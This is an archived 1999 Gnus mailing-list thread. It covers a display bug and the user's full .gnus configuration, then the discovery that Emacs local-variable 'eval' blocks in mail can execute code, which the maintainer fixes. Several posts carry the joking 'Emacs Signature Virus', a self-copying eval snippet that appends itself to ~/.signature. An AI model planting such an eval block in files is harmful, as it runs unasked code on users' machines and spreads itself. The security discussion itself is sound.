article won't display, errors says article buffer read-only

article won't display, errors says article buffer read-only

[Doug Bagley]

[-- Attachment #1: Type: text/plain, Size: 475 bytes --]

Using, pgnus-0.80/"20.4 \"Emerald\" XEmacs Lucid", I received the
following article.  When I tried to view it, I got a message in my
minibuffer saying the article buffer is read-only, and then it beeped
at me!  

I'll include my .gnus below too.  Uh, please don't laugh, I've tried
to only steal from the best.

Sorry I don't have time to look into it any further right now.  Very
busy.  

This is my first forward with MIME with extra parts.  I hope I haven't 
screwed up.


[-- Attachment #2: Type: message/rfc822, Size: 1899 bytes --]

[-- Attachment #2.1.1: Type: text/plain, Size: 423 bytes --]

ok,
I can't figure it out.  Can you?

-----Original Message-----
From: David Wilson [mailto:david@dejanews.com] 
Sent: Monday, March 08, 1999 10:29 AM
To: prod_mgmt@dejanews.com
Subject: FW: Amazing


It worked on me! Try it out...

david

-----Original Message-----
From: Heel, Ingo [mailto:ingoh@channeltactics.com] 
Sent: Monday, March 08, 1999 9:07 AM
Subject: FW: Amazing


It sure works!  Can you figure it out?






[-- Attachment #2.1.2: Welcome to my Cave!!!.url --]
[-- Type: application/octet-stream, Size: 107 bytes --]

[InternetShortcut]
URL=http://www3.mcps.k12.md.us/users/rsfay/magic/index.html
Modified=80D4BD46FA64BE0174

[-- Attachment #3: my .gnus --]
[-- Type: text/plain, Size: 13420 bytes --]

;;* The King of France's Glorious .gnus file
;; -*- mode: emacs-lisp -*-
;; Time-stamp: <1999-03-06 15:02:14 doug>
;;
;;* TBD - notes to myself on things I need to do:
;;============================================================
;;- try nnml
;;- modify "from" based on Newsgroups: header?
;;- try nnfolder-generate-active-file for renumber folders.
;;============================================================

;;* INITIALIZATION
;;============================================================
;;
;;* Choose server
;;==============================
(cond ((string-match "kof." (system-name))
       (setq gnus-select-method '(nntp "news.jump.net")))
      (kof:at-home
       (setq gnus-select-method '(nntp "news.jump.net")))
      (kof:at-work
       (setq gnus-select-method '(nntp "news.dejanews.com"))))
;;
;;* Modify key bindings
;;==============================
(cond (kof:this-is-xemacs
       (define-key gnus-summary-mode-map [(super b)] 'kof:toggle-bbdb-gnus-summary)))
;(define-key gnus-summary-mode-map "\s-b" 'kof:toggle-bbdb-gnus-summary)
;;
;;
;;* Startup variables/initialization
;;==============================
(setq gnus-read-active-file 'some)
(setq gnus-activate-foreign-newsgroups 2)
(setq gnus-check-bogus-newsgroups nil)    ; remove bogus newsgroup at startup
(setq gnus-save-killed-list nil)
(setq gnus-secondary-select-methods '((nnfolder "private")))
(setq gnus-ignored-from-addresses kof:my-email-addresses)
(if window-system
    (setq gnus-visual t))
(add-hook 'gnus-group-mode-hook 'gnus-topic-mode)
;;
;;* Shutdown/termination
;;==============================
(add-hook 'gnus-exit-gnus-hook 'kof:gnus-quit-mail)
;;
;;
;;* General behavior variables
;;==============================
(setq gnus-expert-user nil)		; ask me before doing stuff
(setq gnus-carpal nil)			; neato mouse button menu
(setq gnus-post-method 'current)	; post to current server
;;
;;* Mime stuff
;;==============================
(require 'mm-decode)
(setq mm-alternative-precedence
      (cons "text/plain" (delete "text/plain" mm-alternative-precedence)))
;;
;;
;;* Group buffer variables
;;==============================
(setq gnus-group-line-format "%L%M%S%p%P%5y: %(%g%)%l\n")
;;
;;
;;* Summary buffer variables
;;==============================
(setq gnus-auto-select-next nil)
(setq gnus-auto-select-same nil)
(setq gnus-build-sparse-threads nil)	; try to guess missing articles (gabs)
(setq gnus-gather-loose-threads t)	; gather loose threads by comparing subject
(remove-hook 'gnus-summary-prepare-exit-hook 'gnus-summary-expire-articles)
(add-hook 'gnus-summary-prepare-exit-hook 'kof:gnus-retire-read-messages)
(setq gnus-thread-hide-subtree nil)	; collapse threads by default
(setq gnus-use-trees nil)
;;
;;* Article display variables
;;==============================
(setq gnus-single-article-buffer nil)
(setq gnus-view-pseudo-asynchronously t)
(setq gnus-view-pseudos 'not-confirm)
(setq gnus-view-pseudos-separately nil)
(setq gnus-visible-headers "^From:\\|^Newsgroups:\\|^Subject:\\|^Date:\\|^Followup-To:\\|^Reply-To:\\|^Organization:\\|^Summary:\\|^Keywords:\\|^To:\\|^Cc:\\|^Posted-To:\\|^Mail-Copies-To:\\|^Apparently-To:\\|^Gnus-Warning:\\|^Resent-From:\\|^X-Sent:\\|^X-No-Archive:\\|^X-Newsreader:\\^X-Mailer:")

(defun kof:gnus-modify-article-faces ()
  (set-face-foreground 'gnus-header-name-face "RoyalBlue3")
  (set-face-underline-p 'gnus-header-subject-face t))
(add-hook 'gnus-article-prepare-hook 'kof:gnus-modify-article-faces)
(setq gnus-treat-buttonize t
      gnus-treat-buttonize-head 'head
      gnus-treat-emphasize t
      gnus-treat-fill-article nil
      gnus-treat-strip-cr 'last
      gnus-treat-hide-headers 'head
      gnus-treat-hide-boring-headers 'head
      gnus-treat-hide-signature nil
      gnus-treat-hide-citation nil
      gnus-treat-strip-pgp 'last
      gnus-treat-strip-pem 'last
      gnus-treat-highlight-headers 'head
      gnus-treat-highlight-citation 'last
      gnus-treat-highlight-signature 'last
      gnus-treat-date-ut nil
      gnus-treat-date-local nil
      gnus-treat-date-lapsed 'head
      gnus-treat-date-original nil
      gnus-treat-strip-trailing-blank-lines 'last
      gnus-treat-strip-leading-blank-lines 'last
      gnus-treat-strip-multiple-blank-lines 'last
      gnus-treat-strip-blank-lines nil
      gnus-treat-overstrike 'last)

;;
;;** XEmacs article customization
;;==============================
(cond (kof:this-is-xemacs
       ;; picons
       (setq gnus-picons-piconsearch-url nil)
       ;(setq gnus-picons-piconsearch-url "http://www.cs.indiana.edu:800/piconsearch")
       (setq gnus-picons-database "/usr/pub/faces")
       (setq gnus-treat-display-picons t)
       (add-hook 'gnus-summary-prepare-hook 'gnus-group-display-picons t)
       (setq gnus-picons-group-excluded-groups ".*")
       (setq gnus-picons-display-where 'article)
       (setq gnus-use-picons t) ; replaced by gnus-treat-display-picons?

       ;; xface
       (setq gnus-treat-display-xface 'head)

       ;; smiley
       (require 'smiley)
       (setq gnus-treat-display-smileys 'last)
       (setq smiley-deformed-regexp-alist
	     '(("\\(\\^_?\\^;;;\\)\\W" 1 "WideFaceAse3.xbm")
	       ("\\(\\^_?\\^;;\\)\\W" 1 "WideFaceAse2.xbm")
	       ("\\(\\^_?\\^;\\)\\W" 1 "WideFaceAse1.xbm")
	       ("\\(\\^_\\^\\)\\W" 1 "WideFaceSmile.xbm")
	       ("\\(;_;\\)\\W" 1 "WideFaceWeep.xbm")
	       ("\\(T_T\\)\\W" 1 "WideFaceWeep.xbm")
	       ("\\(:-*[<«]+\\)\\W" 1 "FaceAngry.xpm")
	       ("\\(:-+\\]+\\)\\W" 1 "FaceGoofy.xpm")
	       ("\\(:-*D\\)\\W" 1 "FaceGrinning.xpm")
	       ("\\(:-*[)>}»]+\\)\\W" 1 "FaceHappy.xpm")
	       ("\\(=[)»]+\\)\\W" 1 "FaceHappy.xpm")
	       ("\\(:-[/\\\"]\\)[^/]\\W" 1 "FaceIronic.xpm")
	       ("\\([8]-[|Oo%]\\)\\W" 1 "FaceKOed.xpm")
	       ("\\([:|]-*#+\\)\\W" 1 "FaceNyah.xpm")
	       ("\\(:-*[({]+\\)\\W" 1 "FaceSad.xpm")
	       ("\\(=[({]+\\)\\W" 1 "FaceSad.xpm")
	       ("\\(:-*[Oo]\\)\\W" 1 "FaceStartled.xpm")
	       ("\\(:-*|\\)\\W" 1 "FaceStraight.xpm")
	       ("\\(:-*p\\)\\W" 1 "FaceTalking.xpm")
	       ("\\(:-*d\\)\\W" 1 "FaceTasty.xpm")
	       ("\\(;-*[>)}»]+\\)\\W" 1 "FaceWinking.xpm")
	       ("\\(:-*[Vvµ]\\)\\W" 1 "FaceWry.xpm")
	       ("\\([:|]-*P\\)\\W" 1 "FaceYukky.xpm")))
       (setq smiley-regexp-alist 'smiley-deformed-regexp-alist)
       ))
;;
;;
;;* Incoming mail processing variables
;;==============================
(cond ((string-match "kof." (system-name))
       t)
      (kof:at-work
       (setq nnmail-use-procmail t)
       (setq nnmail-procmail-directory "~/.inbox")
       (setq nnmail-procmail-suffix ".mbox")
       (setq nnmail-resplit-incoming t)))
(setq nnmail-crosspost nil)		; split by first match only
(setq nnmail-treat-duplicates 'delete)
(setq nnmail-delete-incoming nil)	; remove "Incoming*" files?
(setq nnmail-split-methods 'nnmail-split-fancy)
(setq nnmail-split-fancy
      '(| ("from" "doug@bagley.org" "mail.in")
	  ("to\\|cc\\|resent-to" "xemacs-beta" (: kof:retired-mbox-name "xemacs-beta"))
	  ("sender" "owner-xemacs-beta@xemacs.org" (: kof:retired-mbox-name "xemacs-beta"))
	  ("to\\|cc\\|resent-to" "xemacs-ann.*" "xemacs-ann")
	  ("to\\|cc\\|resent-to" "rap@.*" "rap.in")
	  ("x-loop" "Perl5-Porters" (: kof:retired-mbox-name "p5p"))
	  ("from" "Mary.Esther" "mem")
          ("from" "internic.net" "internic")
          ("from" "gdhm.com" "friends")
          ("from" "orasis.com\\|virtual-impact.com" "friends")
          ("from" "pager@dejanews.com" "pager")
          ("from" "austin.ibm.com" "friends")
	  ("to\\|cc\\|resent-to" "kof\\+ml\\.ding" "ding.in")
	  ("to\\|cc\\|resent-to" "ding@gnus.org" "ding.in")
	  ("sender" "owner-ding" "ding.in")
	  ("to" "Friend@public.com" (: kof:retired-mbox-name "spam"))
	  ("from" "angelfire" (: kof:retired-mbox-name "spam"))
	  ("x-mailer" "wMailTo" (: kof:retired-mbox-name "spam"))
	  ("received" "freeyellow.com" (: kof:retired-mbox-name "spam"))
	  ("from" "doug@whammy.com" "doug")
	  ("subject"  "CVS update notice" (: kof:retired-mbox-name "cvs"))
	  ("from\\|to\\|cc" "gnats@dejanews\\.com" "gnats")
	  ("subject" "Changed information for PR" "gnats")
	  ("from" "support@jump.*net" "jump.net")
	  ("from" "jwz" "jwz")
          ("from" "ebay.com" "ebay")
          ("to" "dougb@jump.net" "jumpmail")
	  ("sender" "modperl-owner@apache.org" "modperl.in")
	  ("to\\|cc\\|resent-to" "modperl.*@apache.org" "modperl.in")
	  ("to" "apacheweek@apacheweek.com" "apacheweek")
	  ("to" ".*@cauce.org" "cauce")
	  ("to\\|cc\\|resent-to" "staff.*@dejanews" "staff.in")
	  ("to\\|cc\\|resent-to" "\\([ph]ostmaster\\|abuse\\)" "postmaster")
	  ("from" "SCBagley@aol" "steve")
	  ("to" "apache-announce@apache\\.org" "apache-announce")
	  ("to" "doug@\\(otto\\|homer\\|yow\\|acme\\)" (: kof:retired-mbox-name "spam"))
	  ("from" "gwise@dejanews.com" "misc")
	  ("subject" "\\(Deja News\\|Industry\\) Coverage" "misc")
	  ("subject" "noise\\].*" "misc")
	  ("subject" "humor\\].*" "misc")
	  ("received" "[0-9]*Cust.*\\.uu\\.net" (: kof:retired-mbox-name "spam"))
	  ("received" "dialup\\.mindspring\\.com" (: kof:retired-mbox-name "spam"))
;	  ("received" "may be forged" (: kof:retired-mbox-name "spam"))
	  (: kof:mail-looks-forged "spam")
	  ("to" "kof\\+u.*" (: kof:retired-mbox-name "spam"))
	  (: kof:mail-is-spam "spam")
	  "mail.in"))
          ;; hack to allow fancy splitting on non-word boundaries
          ;(modify-syntax-entry ?< ?w nnmail-split-fancy-syntax-table)
          ;(modify-syntax-entry ?> ?w nnmail-split-fancy-syntax-table)
;;
(setq gnus-message-archive-group
      '((cond 
	 ;; posting to newsgroups --> NEWSPOST
	 ((message-news-p) "NEWSPOST")
	 ;; email reply in a *mail* folder --> same folder
	 ((and gnus-newsgroup-name
	       (message-mail-p)
	       (string-match "^nn[A-Za-z0-9.+]+:" gnus-newsgroup-name))
	  gnus-newsgroup-name)
	 ;; anything else
	 ("nnfolder+private:mail.in"))))

;;* FUNCTIONS
;;
;;** kof:gnus-quit-mail
;;==============================
(defvar kof:gnus-read-mail-window-configuration nil
  "save window config to restore after exiting gnus")
(defun kof:gnus-quit-mail ()
  "Quit the gnus mail folder buffer."
  (interactive)
  (if (window-configuration-p kof:gnus-read-mail-window-configuration)
      (set-window-configuration kof:gnus-read-mail-window-configuration))
  (let ((buf (get-buffer ".bbdb")))
	(if buf (bury-buffer buf)))
  (let ((buf (get-buffer "*BBDB*")))
	(if buf (bury-buffer buf)))
  (setq kof:gnus-read-mail-window-configuration nil))
;;
;;** kof:retired-mbox-name
;;==============================
(defun kof:retired-mbox-name (name)
  "Create a mailbox name string based on current month/year."
  (concat name "." (format-time-string "%Y-%m" (current-time))))
;;
;;** kof:mail-is-spam
;;==============================
(defun kof:mail-is-spam (name)
  "if To: CC: or From: header does not contain my domain, then it's spam.
return 'name.date' if it is spam, otherwise return nil"
  (goto-char (point-min))
  (re-search-forward "^[^: \t]*:" nil t)
  (beginning-of-line)
  (let* ((headers (mail-header-extract-no-properties))
	 (from (mail-header 'from headers))
	 (to (mail-header 'to headers))
	 (cc (mail-header 'cc headers)))
    (if (or (and from (string-match kof:my-domain from))
	    (and to (string-match kof:my-domain to))
	    (and cc (string-match kof:my-domain cc)))
	nil
      (kof:retired-mbox-name name))))
;;
;;** kof:mail-looks-forged
;;==============================
(defun kof:mail-looks-forged (name)
  "if received look like it has a forged DNS name and is not from
a dejanews NY person, then it's spam."
  (goto-char (point-min))
  (re-search-forward "^[^: \t]*:" nil t)
  (beginning-of-line)
  (let* ((headers (mail-header-extract-no-properties))
	 (received (mail-header 'received headers)))
    (if (and (string-match "may be forged" received)
	     (not (string-match "208\\.10\\.193\\." received)))
	(kof:retired-mbox-name name)
      nil)))
;;
;;** kof:toggle-bbdb-gnus-summary
;;==============================
(defun kof:toggle-bbdb-gnus-summary ()
  (interactive)
  (let ((bbdb-win (get-buffer-window "*BBDB*")))
    (if (null bbdb-win)
	(progn
	  (setq bbdb-use-pop-up t)
	  (bbdb/gnus-pop-up-bbdb-buffer))
      (progn
	(setq bbdb-use-pop-up nil)
	(delete-window bbdb-win)))))
;;
;;** kof:gnus-retire-read-messages
;;==============================
;; possibly change this to only move old "O" articles that are
;; older than a certain number of days.
(defun kof:gnus-retire-read-messages ()
  "Move read articles from an inbox to a retired mailbox."
  (interactive)
  ;; we only retire articles that were delivered to mailboxes that end 
  ;; with ".in".
  (if (string-match "^\\(nn.*\\)\\.in$" gnus-newsgroup-name)
      ;; we remove the .in suffix to get the base mailbox name
      (let ((ngname (substring gnus-newsgroup-name (match-beginning 1) (match-end 1))))
	;; limit the summary buffer to read articles
	(gnus-summary-limit-to-marks "RrKkC")
	;; mark them as processable
	(if (gnus-uu-mark-buffer)
	      ;; move them to the retired mbox
	      (gnus-summary-move-article nil (kof:retired-mbox-name ngname)))
	;; undo the limit thing
	(gnus-summary-pop-limit))))

(if (string-match "kof" (system-name))
    (gnus-agentize))

;;* LOCAL VARIABLES
;; ============================
;; Local Variables:
;; mode:Emacs-Lisp
;; outline-regexp: ";;\\*\\**"
;; eval:(outl-mouse-minor-mode 1)
;; eval:(progn (hide-body) (hide-sublevels 1))
;; End:
;; ============================

[-- Attachment #4: Type: text/plain, Size: 14 bytes --]


Cheers,
Doug

local variables and Gnus security

[Robert Epprecht]

The article of Doug Bagley had an interesting effect in my Gnus:
when I tried to enter the ding group in my gnus, emacs asked me:
"Process `eval' or hook local variables in file ding? (y or n)"
(I have set '(setq inhibit-local-variables t)' in my default.el)

The article happened to be the last one in my ding group and does
contain local variables.

This rises the question if this is not a problem for Gnus security.

Robert Epprecht
 

Re: local variables and Gnus security

[Felix Lee]

what version emacs are you using?  in emacs 20.3 there's no
`inhibit-local-variables'.  it's `enable-local-variables'
(and there's also `enable-local-eval').

Robert Epprecht <epprecht@sunweb.ch>:
> "Process `eval' or hook local variables in file ding? (y or n)"
> (I have set '(setq inhibit-local-variables t)' in my default.el)

Re: local variables and Gnus security

[Robert Epprecht]

Felix Lee <flee@teleport.com> writes:

> what version emacs are you using?  in emacs 20.3 there's no
> `inhibit-local-variables'.  it's `enable-local-variables'
> (and there's also `enable-local-eval').

uups...
Yes, I'm running emacs 20.3 and didn't notice that this variable
isn't there any more...

Thanks,
Robert

Re: local variables and Gnus security

[Per Abrahamsen]

Robert Epprecht <epprecht@sunweb.ch> writes:

> This rises the question if this is not a problem for Gnus security.

It is.  Really old versions of GNUS and RMAIL had such a security
hole, but it was closed long ago.  Maybe there has been a regression.

In any case, this gives me an excuse for dusting of my old signature.

-- 
Consider adding "(setq inhibit-local-variables t)" to your ".emacs"
file.

Local Variables:
eval: (save-excursion
	 (goto-char (point-max))
         (search-backward (concat "Consider " "adding"))
         (append-to-file (point) (point-max) "~/.signature")
	 (message "The Emacs Signature Virus"))
End:

Re: local variables and Gnus security

[François Pinard]

Per Abrahamsen <abraham@dina.kvl.dk> writes:

> Robert Epprecht <epprecht@sunweb.ch> writes:

> > This rises the question if this is not a problem for Gnus security.

> It is.  Really old versions of GNUS and RMAIL had such a security
> hole, but it was closed long ago.  Maybe there has been a regression.

> In any case, this gives me an excuse for dusting of my old signature.

> -- 
> Consider adding "(setq inhibit-local-variables t)" to your ".emacs"
> file.

> Local Variables:
> eval: (save-excursion
> 	 (goto-char (point-max))
>          (search-backward (concat "Consider " "adding"))
>          (append-to-file (point) (point-max) "~/.signature")
> 	 (message "The Emacs Signature Virus"))
> End:

How nice! :-)

I just checked here, using Emacs 20.3.1, and `inhibit-local-variables' is not
defined.  However:

======================================================================
enable-local-eval's value is 
t

Documentation:
*Control processing of the "variable" `eval' in a file's local variables.
The value can be t, nil or something else.
A value of t means obey `eval' variables;
nil means ignore them; anything else means query.

The command M-x normal-mode always obeys local-variables lists
and ignores this variable.

You can customize this variable.
======================================================================

So, the "consider adding" clause, above, could have been made more useful
in my particular case by stating another variable.

By the way, I had no problem from Gnus, yet if I `o' the message into a
file, and the visit the file, then the Virus triggers.  It also does when
I later visit the signature file itself! :-)

-- 
François Pinard                            mailto:pinard@iro.umontreal.ca
Join the free Translation Project!    http://www.iro.umontreal.ca/~pinard
Consider adding "(setq inhibit-local-variables t)" to your ".emacs"
file.

Local Variables:
eval: (save-excursion
	 (goto-char (point-max))
         (search-backward (concat "Consider " "adding"))
         (append-to-file (point) (point-max) "~/.signature")
	 (message "The Emacs Signature Virus"))
End:

Consider adding "(setq inhibit-local-variables t)" to your ".emacs"
file.

Local Variables:
eval: (save-excursion
	 (goto-char (point-max))
         (search-backward (concat "Consider " "adding"))
         (append-to-file (point) (point-max) "~/.signature")
	 (message "The Emacs Signature Virus"))
End:

Consider adding "(setq inhibit-local-variables t)" to your ".emacs"
file.

Local Variables:
eval: (save-excursion
	 (goto-char (point-max))
         (search-backward (concat "Consider " "adding"))
         (append-to-file (point) (point-max) "~/.signature")
	 (message "The Emacs Signature Virus"))
End:

Re: local variables and Gnus security

[François Pinard]

François Pinard <pinard@IRO.UMontreal.CA> écrit:

> Per Abrahamsen <abraham@dina.kvl.dk> writes:
> > Robert Epprecht <epprecht@sunweb.ch> writes:
> > > This rises the question if this is not a problem for Gnus security.

> -- 
> François Pinard                            mailto:pinard@iro.umontreal.ca
> Join the free Translation Project!    http://www.iro.umontreal.ca/~pinard
> Consider adding "(setq inhibit-local-variables t)" to your ".emacs"
> file.  [...]
> Consider adding "(setq inhibit-local-variables t)" to your ".emacs"
> file.  [...]
> Consider adding "(setq inhibit-local-variables t)" to your ".emacs"
> file.  [...]

Ok, ok! :-)

-- 
François Pinard                            mailto:pinard@iro.umontreal.ca
Join the free Translation Project!    http://www.iro.umontreal.ca/~pinard

Re: local variables and Gnus security

[Alan Shutko]

François Pinard <pinard@IRO.UMontreal.CA> writes:
> By the way, I had no problem from Gnus

Neither did I.  Maybe it's related to the backend?  (nnml here,
without any virus triggering.) 


-- 
Alan Shutko <ats@acm.org> - By consent of the corrupted
Montana --- At least our cows are sane!

Re: local variables and Gnus security

[Robert Epprecht]

Thank you!
I had a good laugh,
Robert

Re: local variables and Gnus security

[empiric]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 1023 bytes --]

François Pinard <pinard@IRO.UMontreal.CA> writes:


I am just posting this so you can see what it came out like in my
article buffer.  Why the \347's ??  Thanks

> François Pinard <pinard@IRO.UMontreal.CA> écrit:
> 
> > Per Abrahamsen <abraham@dina.kvl.dk> writes:
> > > Robert Epprecht <epprecht@sunweb.ch> writes:
> > > > This rises the question if this is not a problem for Gnus security.
> 
> > -- 
> > François Pinard                            mailto:pinard@iro.umontreal.ca
> > Join the free Translation Project!    http://www.iro.umontreal.ca/~pinard
> > Consider adding "(setq inhibit-local-variables t)" to your ".emacs"
> > file.  [...]
> > Consider adding "(setq inhibit-local-variables t)" to your ".emacs"
> > file.  [...]
> > Consider adding "(setq inhibit-local-variables t)" to your ".emacs"
> > file.  [...]
> 
> Ok, ok! :-)
> 
> -- 
> François Pinard                            mailto:pinard@iro.umontreal.ca
> Join the free Translation Project!    http://www.iro.umontreal.ca/~pinard

-- 
Boat Drinks

Re: local variables and Gnus security

[Kai.Grossjohann]

empiric <empiric@netscape.net> writes:

  > I am just posting this so you can see what it came out like in my
  > article buffer.  Why the \347's ??  Thanks

I see no \347.  Maybe a screenshot would be good?  I sense a TM
problem, here.

kai
-- 
I like _\bb_\bo_\bt_\bh kinds of music.

Re: local variables and Gnus security

[Per Abrahamsen]

Robert Epprecht <epprecht@sunweb.ch> writes:

> Felix Lee <flee@teleport.com> writes:
> 
> > what version emacs are you using?  in emacs 20.3 there's no
> > `inhibit-local-variables'.  it's `enable-local-variables'
> > (and there's also `enable-local-eval').
> 
> uups...
> Yes, I'm running emacs 20.3 and didn't notice that this variable
> isn't there any more...

It is not nice of Stallman to remove a security related option like
that.

In any case, Gnus should bind `enable-local-eval' to nil before
loading any files.

Re: local variables and Gnus security

[Hallvard B Furuseth]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 583 bytes --]

empiric <empiric@netscape.net> writes:

> François Pinard <pinard@IRO.UMontreal.CA> writes:
> 
> I am just posting this so you can see what it came out like in my
> article buffer.  Why the \347's ??  Thanks

It's the octal code for the latin-1 character <c with cedilla>.
It'll display correctly if you have an 8-bit terminal with latin-1 font,
and tell Emacs so.  If I remember correctly, it's something like this:
	(set-language-environment "Latin-1")
	(set-terminal-coding-system 'iso-latin-1)
	(or enable-multibyte-characters
	    (standard-display-european 1))


-- 
Hallvard

Re: local variables and Gnus security

[Karl Eichwalder]

Per Abrahamsen <abraham@dina.kvl.dk> writes:

|   It is not nice of Stallman to remove a security related option like
|   that.

The default doesn't look insecure to me (files.el):

(defcustom enable-local-eval 'maybe
  "*Control processing of the \"variable\" `eval' in a file's local variables.
The value can be t, nil or something else.
A value of t means obey `eval' variables;
nil means ignore them; anything else means query.

The command \\[normal-mode] always obeys local-variables lists
and ignores this variable."
  :type '(choice (const :tag "Obey" t)
                 (const :tag "Ignore" nil)
                 (other :tag "Query" other))
  :group 'find-file)

-- 
Karl Eichwalder

Re: local variables and Gnus security

[Felix Lee]

Per Abrahamsen <abraham@dina.kvl.dk>:
> > > what version emacs are you using?  in emacs 20.3 there's no
> > > `inhibit-local-variables'.  it's `enable-local-variables'
> > > (and there's also `enable-local-eval').

> It is not nice of Stallman to remove a security related option like
> that.

I seem to remember the change happened a long time ago...
grepping through the *NEWS files, it surfaced in emacs 19.1

> In any case, Gnus should bind `enable-local-eval' to nil before
> loading any files.

the default value of enable-local-eval will query the user,
which is mostly safe, just noisy and confusing and somewhat
prone to error, since it uses y-or-n-p which thinks that
space is yes.

I'm not sure gnus should be overriding user settings like
this, but I can't imagine a sane reason anyone would want to
enable-local-eval anyway.  so, yeah.
--

Re: local variables and Gnus security

[Jan Vroonhof]

Per Abrahamsen <abraham@dina.kvl.dk> writes:

> In any case, Gnus should bind `enable-local-eval' to nil before
> loading any files.

It already binds enable-local-variables to nil, which on XEmacs at
least also disables local-eval.

Jan

Re: article won't display, errors says article buffer read-only

[Doug Bagley]

Doug Bagley <doug@dejanews.com> writes:
> Using, pgnus-0.80/"20.4 \"Emerald\" XEmacs Lucid", I received the
> following article.  When I tried to view it, I got a message in my
> minibuffer saying the article buffer is read-only, and then it beeped
> at me!  

Found problem, was:

>        (setq gnus-treat-display-picons t)

should be:

        (setq gnus-treat-display-picons 'head)

I think it would be better, though, if gnus trapped the error this
caused during display, and still displayed the article, sans
piconification.  Is that possible?

Cheers,
Doug

Re: article won't display, errors says article buffer read-only

[Lars Magne Ingebrigtsen]

Doug Bagley <doug@dejanews.com> writes:

> Using, pgnus-0.80/"20.4 \"Emerald\" XEmacs Lucid", I received the
> following article.  When I tried to view it, I got a message in my
> minibuffer saying the article buffer is read-only, and then it beeped
> at me!  

`(setq debug-on-error t)', repeat the bug and mail me the resulting
backtrace.

-- 
(domestic pets only, the antidote for overdose, milk.)
  larsi@gnus.org * Lars Magne Ingebrigtsen

Re: local variables and Gnus security

[Lars Magne Ingebrigtsen]

Robert Epprecht <epprecht@sunweb.ch> writes:

> The article of Doug Bagley had an interesting effect in my Gnus:
> when I tried to enter the ding group in my gnus, emacs asked me:
> "Process `eval' or hook local variables in file ding? (y or n)"

That's not good.  `(setq debug-on-quit t)' and then `C-g' when it
prompts you.  Mail me the resulting backtrace.

-- 
(domestic pets only, the antidote for overdose, milk.)
  larsi@gnus.org * Lars Magne Ingebrigtsen

Re: local variables and Gnus security

[Lars Magne Ingebrigtsen]

Per Abrahamsen <abraham@dina.kvl.dk> writes:

> In any case, Gnus should bind `enable-local-eval' to nil before
> loading any files.

Yup.  Fix in Pterodactyl Gnus v0.81.

-- 
(domestic pets only, the antidote for overdose, milk.)
  larsi@gnus.org * Lars Magne Ingebrigtsen